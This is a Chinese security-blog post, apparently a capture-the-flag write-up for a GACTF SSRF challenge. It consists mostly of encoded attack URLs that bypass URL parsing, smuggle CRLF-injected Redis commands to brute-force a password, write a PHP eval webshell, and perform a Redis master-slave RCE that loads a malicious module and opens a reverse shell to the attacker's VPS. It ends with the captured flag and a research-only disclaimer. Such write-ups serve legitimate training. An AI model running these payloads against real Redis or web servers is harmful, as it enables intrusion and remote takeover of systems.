点击蓝字 · 关注我们
http://121.36.199.21:10802/?url=http://root:root@127.0.0.1:[email protected]/&rid=2&pid=1&title=
http://121.36.199.21:10802/?url=http://root:[email protected]:[email protected]/?url=http://123.56.22.0:999
http://121.36.199.21:10802/?url=http://root:[email protected]:[email protected]/?url=http://123.56.22.0:6378?%250D%250Aauth%2520123123%250D%250Ainfo%250D%250A1
http://121.36.199.21:10802/?url=http://root:[email protected]:[email protected]/?url=http://123.56.22.0:6378?%250D%250Aauth%2520123123%250D%250Aset%2520A%2520evil%250D%250A爆破redis密码我是用的主从来做的，当密码正确会连接到我的vps
http://121.36.199.21:10802/?url=http://root:[email protected]:[email protected]/?url=http://123.56.22.0:6377?%250D%250Aauth%2520123123%250D%250Aslaveof%2520123.56.22.0%25202323%250D%250A1redis密码123456
写shell失败 可能是无权限 就不考虑计划任务了
http://121.36.199.21:10802/?url=http://root:[email protected]:[email protected]/?url=http://123.56.22.0:6377?%250D%250Aauth%2520123123%250D%250Aset%2520A%2520%2520%253C%253Fphp%253b%2540eval%2528%2524_POST%255Bc%255D%2529%253B%253F%253E%250A%250D%250A%250D%250A%250d%250aconfig%2520set%2520dir%2520/tmp%250d%250aconfig%2520set%2520dbfilename%2520suanve.php%250d%250asave%250d%250apadding尝试主从rce
参考https://blog.csdn.net/weixin_43610673/article/details/106457180
使用工具
https://github.com/xmsec/redis-ssrf
执行脚本不停的监听
while [ "1" = "1" ]dopython rogue-server.pydone
准备好以后nc监听6663端口 依次发送三次请求
0x01 设置tmp目录
http://121.36.199.21:10804/?url=http://root:root@127.0.0.1:5000@baidu.com/?url=http://127.0.0.1:6379?%250D%250Aauth%2520123456%250d%250aconfig%2520set%2520dir%2520%252ftmp%250d%250a10x02 设置exp.so
http://121.36.199.21:10804/?url=http://root:root@127.0.0.1:5000@baidu.com/?url=http://127.0.0.1:6379?%250D%250Aauth%2520123456%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520123.56.22.0%25206666%250d%250aquit%250a10x03 加载so后执行反弹命令
http://121.36.199.21:10804/?url=http://root:root@127.0.0.1:5000@baidu.com/?url=http://127.0.0.1:6379?%250D%250Aauth%2520123456%250d%250amodule%2520load%2520%252ftmp%252fexp.so%250d%250asystem.rev%2520123.56.22.0%25206663%250d%250aquit%250d%250a1服务器收到三次请求
反弹拿到shell
GACTF{to0_t0o_easy_SSRF101_1ace2020}
EDI安全
扫二维码｜关注我们
一个专注渗透实战经验分享的公众号
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论